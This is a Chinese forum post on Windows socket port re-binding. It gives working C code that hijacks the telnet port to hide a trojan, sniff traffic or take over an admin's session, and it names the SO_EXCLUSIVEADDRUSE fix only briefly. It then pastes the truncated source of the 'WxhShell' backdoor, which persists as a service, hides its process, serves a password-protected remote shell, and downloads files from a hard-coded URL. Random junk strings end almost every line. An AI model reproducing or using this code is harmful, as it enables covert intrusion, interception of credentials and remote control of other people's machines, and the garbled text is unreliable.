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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RN$1bxY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QQ%D8$k"  
]RPs|R?  
  saddr.sin_family = AF_INET; 10)jsA  
Bp_$.!Qy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }YB*]<]  
:o|\"3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \w/yF4,3<w  
$@z5kwx:P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .z]Wyx&/U  
+]*zlE\N`  
  这意味着什么?意味着可以进行如下的攻击: VCY\be  
13=A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %-)H^i~]%  
)2Wi `ZT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7|{}\w(I  
1n=lqn/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &~8oQC-eF  
N >FKy'.gk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uD\?(LM  
<v)1<*I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DK$X2B"cV  
DgUT5t1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RHmgD;7`  
>"|B9Woc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I;e=0!9U  
\n$u)Xj~6^  
  #include ,5i`-OI  
  #include `b Fff %_  
  #include 0 t Fkd  
  #include    ^A!Qc=#z}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;T"zV{;7BR  
  int main() _"E%xM*r  
  { -&NN51-d\j  
  WORD wVersionRequested; k9k XyX[  
  DWORD ret; "3Uv]F  
  WSADATA wsaData; H<VTa? n  
  BOOL val; _y),J'W^3u  
  SOCKADDR_IN saddr; !Y$h"<M  
  SOCKADDR_IN scaddr; O~T@rX9f  
  int err; k`So -e-  
  SOCKET s; /M|2 62%  
  SOCKET sc; k jg~n9#T  
  int caddsize; K?[q% W]%  
  HANDLE mt; xDG2ws=@D  
  DWORD tid;   4i6q{BeHn  
  wVersionRequested = MAKEWORD( 2, 2 ); u$>4F|=T  
  err = WSAStartup( wVersionRequested, &wsaData ); p~SClaR3H  
  if ( err != 0 ) { wfNk=)^$  
  printf("error!WSAStartup failed!\n"); RP~|PtLw_  
  return -1; tmv&U;0Z  
  } (pY 7J  
  saddr.sin_family = AF_INET; @Fluc,Il  
   + ,%&e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B|R@5mjm  
ZjgsR|i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I%r{]-Obr-  
  saddr.sin_port = htons(23); !F1M(zFD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R@/"B8H  
  { 9{(.Il J>  
  printf("error!socket failed!\n"); d9B]fi}  
  return -1; GR +[UG  
  } z2MWN\?8  
  val = TRUE; eFaO7mz5V%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SOIHePmwK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1M}5>V{  
  { tasIDoo+!J  
  printf("error!setsockopt failed!\n"); G f,`  
  return -1; ,24p%KJ*X  
  } }@;ep&b*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ix([mQg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q#T/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hc>m;[M)l  
gG]Eeu+z   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H| 8Qp*  
  { $K]m{  
  ret=GetLastError(); [#l*_0  
  printf("error!bind failed!\n"); MXw hxk#E  
  return -1;  Q?nN!e T  
  } U* i{5/$  
  listen(s,2); qu-B| MuOa  
  while(1) ~tBYIkvWT  
  { )CuZDf@  
  caddsize = sizeof(scaddr); N):tOD@B  
  //接受连接请求 $* AYcy7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o$#G0}yn  
  if(sc!=INVALID_SOCKET) P,xKZ{(  
  { +_; l|uhT;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -n=^U  
  if(mt==NULL) Ont%eC\  
  { rf?qdd(~cH  
  printf("Thread Creat Failed!\n"); yUZb #%n  
  break; "Q!(52_@J  
  } |2RC#]/-Y  
  } j7jCm:  
  CloseHandle(mt); ;%<,IdhN  
  } @ o3T  
  closesocket(s); jF0jkj1&/[  
  WSACleanup(); EH256f(&  
  return 0; gu0j.XS^  
  }   \MbB#  
  DWORD WINAPI ClientThread(LPVOID lpParam) TM_/ `a2}  
  { :+qF8t[L  
  SOCKET ss = (SOCKET)lpParam; l5zS  
  SOCKET sc; pm_`>3  
  unsigned char buf[4096]; ;5zz<;Zy  
  SOCKADDR_IN saddr; HkO7R `  
  long num; kMb}1J0i"  
  DWORD val; h-G)o[MA  
  DWORD ret; # WAZ9,t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l8I /0`_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    swK-/$#  
  saddr.sin_family = AF_INET; [P&7i57  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E~]R2!9  
  saddr.sin_port = htons(23); 9f hsIe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OW3sS+y  
  { cki81bOT  
  printf("error!socket failed!\n"); ^G4 P y<s  
  return -1; .!f$ \1l  
  } P{wF"vf  
  val = 100; d/BM&r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }s(N6a&(  
  { I1pWaQ0  
  ret = GetLastError(); 3QG7C{  
  return -1; %kS(LlL+6  
  } +89*)pk   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ujlY! -GM  
  { @JD;k>  
  ret = GetLastError(); QR%mj*@Wle  
  return -1; k< y>)  
  } N"]q='t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .NYbi@bk(<  
  { [H6hyG~  
  printf("error!socket connect failed!\n"); 3BtaH#ZY  
  closesocket(sc); bn!HUM,  
  closesocket(ss); /H8g(  
  return -1; ]j`c]2EuP  
  } RxI(:i?  
  while(1) v^#~98g]  
  { W3MU1gl6k{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y%%}k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )}"wesNo".  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _#r+ !e  
  num = recv(ss,buf,4096,0); A-ZN F4  
  if(num>0) VU&7P/\f%  
  send(sc,buf,num,0); thifRd$4  
  else if(num==0) +VO-oFE|  
  break; H@%GSE  
  num = recv(sc,buf,4096,0); Uk^B"y_  
  if(num>0) (C@mLu)  
  send(ss,buf,num,0); AaWs}M  
  else if(num==0) ioYGZ%RG#  
  break; [_1G@S6Ex  
  } PE5R7)~A  
  closesocket(ss); +RyjF~  
  closesocket(sc); 1Cgso`  
  return 0 ; v^d]~ !h  
  } CF?1R  
]sE?ezu  
C~o7X^[R\  
========================================================== b[o"7^H  
6YGubH7%_  
下边附上一个代码,,WXhSHELL 6]W=nAD  
ll`>FcQ  
========================================================== uBNn6j  
TU:7Df  
#include "stdafx.h" ^eo|P~w g  
P:k>aHnW  
#include <stdio.h>  ?zw|kl  
#include <string.h> X voo=  
#include <windows.h> -"=U?>(  
#include <winsock2.h> `f*Q$Ulqx  
#include <winsvc.h> Q9Kve3u-i  
#include <urlmon.h> mi,E-  
G!>z;5KuS  
#pragma comment (lib, "Ws2_32.lib") e\!0<d  
#pragma comment (lib, "urlmon.lib") ??M"6k  
j4|N- :  
#define MAX_USER   100 // 最大客户端连接数 @zU6t|mhz  
#define BUF_SOCK   200 // sock buffer .J)I | '  
#define KEY_BUFF   255 // 输入 buffer 6W]9$n\"?  
ABD)}n=%c  
#define REBOOT     0   // 重启 ?0v-qj+  
#define SHUTDOWN   1   // 关机 7 "20hAd  
-* WXMzr  
#define DEF_PORT   5000 // 监听端口 DAcQz4T`  
= kJ,%\E`  
#define REG_LEN     16   // 注册表键长度 :h\Q;?  
#define SVC_LEN     80   // NT服务名长度 Ji>o!  
n%-R[vW  
// 从dll定义API W4pL ,(S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9~]~#Uj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mlJ!:WG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /OLFcxEWh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cx&>#8s&  
}o(zj=7  
// wxhshell配置信息 Ye2 {f"F  
struct WSCFG { _AAaC_q  
  int ws_port;         // 监听端口 !g5xq  
  char ws_passstr[REG_LEN]; // 口令 VUPXO  
  int ws_autoins;       // 安装标记, 1=yes 0=no "alyfyBu'M  
  char ws_regname[REG_LEN]; // 注册表键名 x4;"!Kq\  
  char ws_svcname[REG_LEN]; // 服务名 JtEo'As:[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1IC~e^"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5ni~Q 9b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T 6)bD&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6p?,(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5nT"rA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j bVECi-  
&PYK8}pBk3  
}; r+":'/[x  
}1Gv)l7  
// default Wxhshell configuration 1 *'HL#  
struct WSCFG wscfg={DEF_PORT, *>|gxM8  
    "xuhuanlingzhe", + +M$#Er&  
    1, PsnWWj?c  
    "Wxhshell", @k,z:~[C=  
    "Wxhshell", /Z~<CbKKl  
            "WxhShell Service", 3Z5D)zuc  
    "Wrsky Windows CmdShell Service", j27?w<  
    "Please Input Your Password: ", /?@3.3sl_  
  1, pGJ>O/%  
  "http://www.wrsky.com/wxhshell.exe", uE%r/:!k4$  
  "Wxhshell.exe" ([SU:F!uW(  
    }; 2NC.Z;  
bCo7*<I4  
// 消息定义模块 WY?[,_4U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (.D~0a JU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Si8pzd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }uJu>'1[G  
char *msg_ws_ext="\n\rExit."; *5%d XixN  
char *msg_ws_end="\n\rQuit."; [x+FcXb  
char *msg_ws_boot="\n\rReboot..."; _P0T)-X\(  
char *msg_ws_poff="\n\rShutdown..."; "e.jZcN*  
char *msg_ws_down="\n\rSave to "; 7 n8"/0kc:  
fI&t]   
char *msg_ws_err="\n\rErr!"; coW:DFX  
char *msg_ws_ok="\n\rOK!"; &;^YBW:I  
}=<  
char ExeFile[MAX_PATH]; yE:+Lo`>  
int nUser = 0; ;j[>9g  
HANDLE handles[MAX_USER]; l`oZ) ?ur  
int OsIsNt; )bS yB29S  
llcb~  
SERVICE_STATUS       serviceStatus; ?[@J8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f .Q\Z'S^  
j[`j9mM8  
// 函数声明 n^Hm;BiE#  
int Install(void);  6:b! F  
int Uninstall(void); &e @2  
int DownloadFile(char *sURL, SOCKET wsh); TE3lK(f  
int Boot(int flag); d,+Hd2o^X  
void HideProc(void); B2>H_dmQ  
int GetOsVer(void); &e E=<x  
int Wxhshell(SOCKET wsl); 0z1ifg&  
void TalkWithClient(void *cs); U' H$`$Ov  
int CmdShell(SOCKET sock); %j.0G`x9 +  
int StartFromService(void); t{xf:~B  
int StartWxhshell(LPSTR lpCmdLine); rDm~h~u5  
1oR7iD^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B<5R   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X{5vXT\/y  
S\:P-&dC  
// 数据结构和表定义 nyQ&f'<   
SERVICE_TABLE_ENTRY DispatchTable[] = wPQH(~k:  
{ ]{3)^axW;  
{wscfg.ws_svcname, NTServiceMain}, .~~nUu+M  
{NULL, NULL} 8&GBV_`I  
}; tXNm$Cq.|  
!%CWZZ 6u  
// 自我安装 g;pcZ9o  
int Install(void) s'!Cp=xQF"  
{ d' !]ZWe  
  char svExeFile[MAX_PATH]; RIlwdt  
  HKEY key; ^uKwB;@  
  strcpy(svExeFile,ExeFile); |Luqoa  
3@kf@ Vf  
// 如果是win9x系统,修改注册表设为自启动 ?qPo=~y01  
if(!OsIsNt) { SheM|I~de  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MqW7cjg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TrlZ9?3#D  
  RegCloseKey(key); mWoAO@}Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /)YNs7gR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )(bW#-  
  RegCloseKey(key); h;p>o75O  
  return 0; <c2E'U)X  
    } mk;&yh  
  } 4w*Skl=F}  
} %RTBV9LIXr  
else { <^&ehy:7y  
?9!6%]2D  
// 如果是NT以上系统,安装为系统服务 ,)0H3t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bo)3!wO8  
if (schSCManager!=0) ni.cTOSx  
{ nCUg ,;_=  
  SC_HANDLE schService = CreateService h}[-'>{  
  ( e%svrJ2   
  schSCManager, \nXtH}9ZF  
  wscfg.ws_svcname, =$u! 59_dE  
  wscfg.ws_svcdisp, SW H2  
  SERVICE_ALL_ACCESS, j_K4;k#r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ). <-X^@  
  SERVICE_AUTO_START, &TUWW/?T  
  SERVICE_ERROR_NORMAL, p2#)A"  
  svExeFile, p)`{Sos  
  NULL, ASKf '\,dV  
  NULL, S=MEG+Ad  
  NULL, ?:vv50  
  NULL, RiDJ> 6S  
  NULL .CL[_;}  
  ); Q A< Rhv,  
  if (schService!=0) Zq^At+8+  
  { +[M6X} TQ  
  CloseServiceHandle(schService); [A~y%bI"  
  CloseServiceHandle(schSCManager); i`(XLi}k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h?AS{`.1  
  strcat(svExeFile,wscfg.ws_svcname); DVG(V w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {&cJDqz5=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^NRl//  
  RegCloseKey(key); M\o9I  
  return 0; FEW14 U'O  
    }  DGRXd#  
  } fa-IhB1!K  
  CloseServiceHandle(schSCManager); qB~rQPa  
} \z>fb%YW  
} `nUXDmdwzO  
q3mJ782p]  
return 1; v_BcTzQ0S  
} @:j}Jmg  
8NxM4$nQX  
// 自我卸载 B}n,b#,*  
int Uninstall(void) L9r8BK;  
{ J*r*X.  
  HKEY key; -f3p U:G8  
?iw!OoZ`  
if(!OsIsNt) { P 0SQr?W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A#K14Ayr  
  RegDeleteValue(key,wscfg.ws_regname); @'w"R/,n-@  
  RegCloseKey(key); :G [|CPm-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QqDC4+ p"  
  RegDeleteValue(key,wscfg.ws_regname); q_Q/3rh  
  RegCloseKey(key); y0Fb_"}  
  return 0; 69PE9zz  
  } |N4.u _hM  
} sGi"rg#  
} S ^"y4- 2  
else { \RNNg  
YpWPz %`:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]GMe \n  
if (schSCManager!=0) jfP*"uUK  
{ *M[?bk~~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aI%g2 q0f  
  if (schService!=0) :{PJI,  
  { r(6Y*<  
  if(DeleteService(schService)!=0) { GOj-)i/_  
  CloseServiceHandle(schService); ot,jp|N>f~  
  CloseServiceHandle(schSCManager); &4{KV.  
  return 0; :nh_k4S@v  
  } ? }Z1bH  
  CloseServiceHandle(schService); q]\:P.x!>  
  } K`yRr`pW  
  CloseServiceHandle(schSCManager); +Jlay1U&  
} p2Z?T}fa}&  
} "An,Q82oHf  
z#zI1Am(O  
return 1; JUsQ,ETn  
} >NO[UX%yP  
D|lzGt  
// 从指定url下载文件 spGb!Y`mR  
int DownloadFile(char *sURL, SOCKET wsh) 5 f@)z"j  
{ ?L5zC+c!  
  HRESULT hr; pf2[ , v/  
char seps[]= "/"; ]jtK I4  
char *token; J}*,HT*  
char *file; qaqBOHI6G  
char myURL[MAX_PATH]; z#8~iF1  
char myFILE[MAX_PATH]; 'OE&/ C [  
."TxX.&HE  
strcpy(myURL,sURL); J &o |QG  
  token=strtok(myURL,seps); cW~}:;D4  
  while(token!=NULL) e h&IPU S  
  { !SC`D])l  
    file=token; bo,_&4?  
  token=strtok(NULL,seps); szb_*)k  
  } G|[=/>~B  
.\\DKh%  
GetCurrentDirectory(MAX_PATH,myFILE); _mzW'~9wN  
strcat(myFILE, "\\"); O#n8=B4  
strcat(myFILE, file); ;PF`Wj  
  send(wsh,myFILE,strlen(myFILE),0); jk"`Z<j~  
send(wsh,"...",3,0); 45=bGf#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nxY\|@  
  if(hr==S_OK) $CxKuB(  
return 0; Kh"?%ZIa  
else N@;?CKU  
return 1; A ;G;^s  
@d^Grm8E  
} F;>V>" edl  
u~r=)His  
// 系统电源模块 K#l:wH _  
int Boot(int flag) @+;$jRwq  
{ @v$Y7mw3D  
  HANDLE hToken; bo<~jb{  
  TOKEN_PRIVILEGES tkp; q?,).x nN  
kJWn<5%ayg  
  if(OsIsNt) { K}2Erm%A@y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =Ee&da^MB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hMzs*gK  
    tkp.PrivilegeCount = 1; x* DarSk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g6W)4cC8a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S_iMVHe  
if(flag==REBOOT) { )r';lGh2#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "C?#SO B  
  return 0; BmBj7  
} g-qP;vy@"q  
else { w _u\pa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ^le<}  
  return 0; [M?}uK ^  
} zqd@EF6/bz  
  } LU+3{O5y  
  else { sI43@[  
if(flag==REBOOT) { OBgkpx*Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6T>mW#E&  
  return 0; he#J|p  
} H1 2Fw'2  
else { h-g+g#*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ke{8 ^X~#  
  return 0; 7t3X)Ah  
} 4)E_0.C  
} #w;v0&p  
rI{=WPI&WU  
return 1; +U:$(UV'A  
} z^KJ*E  
$JSL-NkE  
// win9x进程隐藏模块 w;D+y*2  
void HideProc(void) FK6[>(QO  
{ PEN \-*Pv  
D>|H 2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E"\/ M  
  if ( hKernel != NULL ) yZd +^QN  
  { H!vax)%-\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xE1 eT,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); liEPCWl&  
    FreeLibrary(hKernel); &vHoRY  
  } w|3z;-#Q;  
kTKq/G,Ft  
return; 01[NX? qEa  
} :Y-{Kn6`_  
}p=Jm)y  
// 获取操作系统版本 ,?PTcQF  
int GetOsVer(void) Wi>!{.}%A  
{ M]<?k]_p  
  OSVERSIONINFO winfo; U2$d%8G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |\w=u6jX  
  GetVersionEx(&winfo); ^*S ,xP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wU8Mt#D!  
  return 1; ADZ};:]  
  else :d3bt~b'  
  return 0; ~7Y+2FZ  
} V=)_yIS  
jN e`;o  
// 客户端句柄模块 l|xZk4@_uE  
int Wxhshell(SOCKET wsl) _a_7,bk5  
{ QFfK0X8cC  
  SOCKET wsh; Q*~LCtrI  
  struct sockaddr_in client; W egtyO  
  DWORD myID; Z,`iO %W  
-8'C\R|J+  
  while(nUser<MAX_USER) 0?sRDYaX;c  
{ aHlcfh9|  
  int nSize=sizeof(client); nJbtS#`G4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _4TH4~cY  
  if(wsh==INVALID_SOCKET) return 1; "~`I::'c  
Z.d 7U~_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ekI2icD  
if(handles[nUser]==0) A2^\q>_#  
  closesocket(wsh); jATI&oX  
else  zG+R5:  
  nUser++; &lR 6sb\  
  } L}GC<D:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); * +'x~a  
Ny_lrfh)[  
  return 0; 0MV>"aV  
} #G|qD  
7:A x(El  
// 关闭 socket ;_8#f%Y#R  
void CloseIt(SOCKET wsh) 0- ><q  
{ pkP?i5 ,  
closesocket(wsh); e'~Zo9`r6  
nUser--; 5'0xz.)!  
ExitThread(0); X_qf"|i  
} b k|m4|  
qL5{f(U4<  
// 客户端请求句柄 Jm|+-F@I  
void TalkWithClient(void *cs) A"`foI$0  
{ %cCs?ic  
=PUt&`1.a  
  SOCKET wsh=(SOCKET)cs; j lp:lX  
  char pwd[SVC_LEN]; u4m,'XR  
  char cmd[KEY_BUFF]; V I,ACj  
char chr[1]; }YjX3|8zL=  
int i,j; > *@y8u*  
9V,!R{kO!  
  while (nUser < MAX_USER) { :*t"8;O[  
=81@ o,1w  
if(wscfg.ws_passstr) { RE}?5XHb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : m)   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ib|Rf;J~-  
  //ZeroMemory(pwd,KEY_BUFF); CL)lq)1(  
      i=0; >:zK?(qu,N  
  while(i<SVC_LEN) { :}r.  
uqM yoIc  
  // 设置超时 YWMGB#=  
  fd_set FdRead; |_}2f  
  struct timeval TimeOut; Bt1p'g(V|  
  FD_ZERO(&FdRead); D6CS8 ~"  
  FD_SET(wsh,&FdRead); hOFOO_byzO  
  TimeOut.tv_sec=8; :,WtR  
  TimeOut.tv_usec=0; eFBeJZuE|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _8Z_`@0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j>]nK~[ka  
kgy:Q'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4VHqBQ4  
  pwd=chr[0]; ;^ La"m  
  if(chr[0]==0xd || chr[0]==0xa) { .w> 4  
  pwd=0; n"+[ :w4  
  break; kxp) ;  
  } 0E?jW7yr  
  i++; YhbZ'SJ  
    } *\(r+>*x*  
-6Oz^  
  // 如果是非法用户,关闭 socket ZeUvyIG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4%2~Wi8  
} baJxU:Y=p  
W3Dc r@Dy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w$H^q !(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Q(+ZG=JkV  
5K^69mx  
while(1) { 7@Zx@  
#mZpeB~   
  ZeroMemory(cmd,KEY_BUFF); CSGz3uC2D  
^Y u6w\QM  
      // 自动支持客户端 telnet标准   nt;haeJ  
  j=0; S{FROC~1R  
  while(j<KEY_BUFF) { %YSpCI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Y0-BYa^  
  cmd[j]=chr[0]; %uJ<M-@r=u  
  if(chr[0]==0xa || chr[0]==0xd) { !lxTX  
  cmd[j]=0; \%/#x V  
  break; o }3uo6GIB  
  } 2H/Z_+\  
  j++; .Q@S #d  
    } 6An9S%:_  
`Ja?fI'H-  
  // 下载文件 !>BZ6gn5  
  if(strstr(cmd,"http://")) { v^)bhIPe;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =8r 0 (c  
  if(DownloadFile(cmd,wsh))  %ObLWH'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?Fi$3Lm  
  else Vw#_68EybM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6'kS_Zu{<  
  } Dfps gY)/?  
  else { >H(i^z/c  
nB%;S  
    switch(cmd[0]) { 4|mD*o  
  K =C!b?  
  // 帮助 "z0zpHXek  
  case '?': { OkCQ?]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ma'_e=+A  
    break; c9kzOQ2n  
  } 2pzF5h  
  // 安装 'fcMuBc+ 4  
  case 'i': { "Fy7K#n  
    if(Install()) 0O\SU"bP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZDD..j  
    else WVmq% ,7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [zL7Q^~  
    break; 6ZKsz5:=  
    } JJltPGT~Oa  
  // 卸载 :(a]V"(&Eq  
  case 'r': { t~E<j+<2B  
    if(Uninstall()) t6,wjN-J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e'*`.^  
    else yz-,)GB6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b B  x?  
    break; :Xn7Ha[f  
    } !ALKSiSl  
  // 显示 wxhshell 所在路径 Yk'9U-.mc  
  case 'p': { _* IPk  
    char svExeFile[MAX_PATH]; "S&@F/  
    strcpy(svExeFile,"\n\r"); iT;@bp  
      strcat(svExeFile,ExeFile); DHw&+MY  
        send(wsh,svExeFile,strlen(svExeFile),0); P y>{t4;S  
    break; !@x+q)2  
    } FuUD 61JHY  
  // 重启 6*qL[m.F[o  
  case 'b': { y kW [B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y 2Q=rj  
    if(Boot(REBOOT)) *?z0$Kz<,[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _(d.!qGz  
    else { cooUE<a  
    closesocket(wsh); !eAo  
    ExitThread(0); (x"BR  
    } r6;$1 K*0  
    break; ZxG}ViS4I  
    } (]RM6i7  
  // 关机 SG?Nsp^%`B  
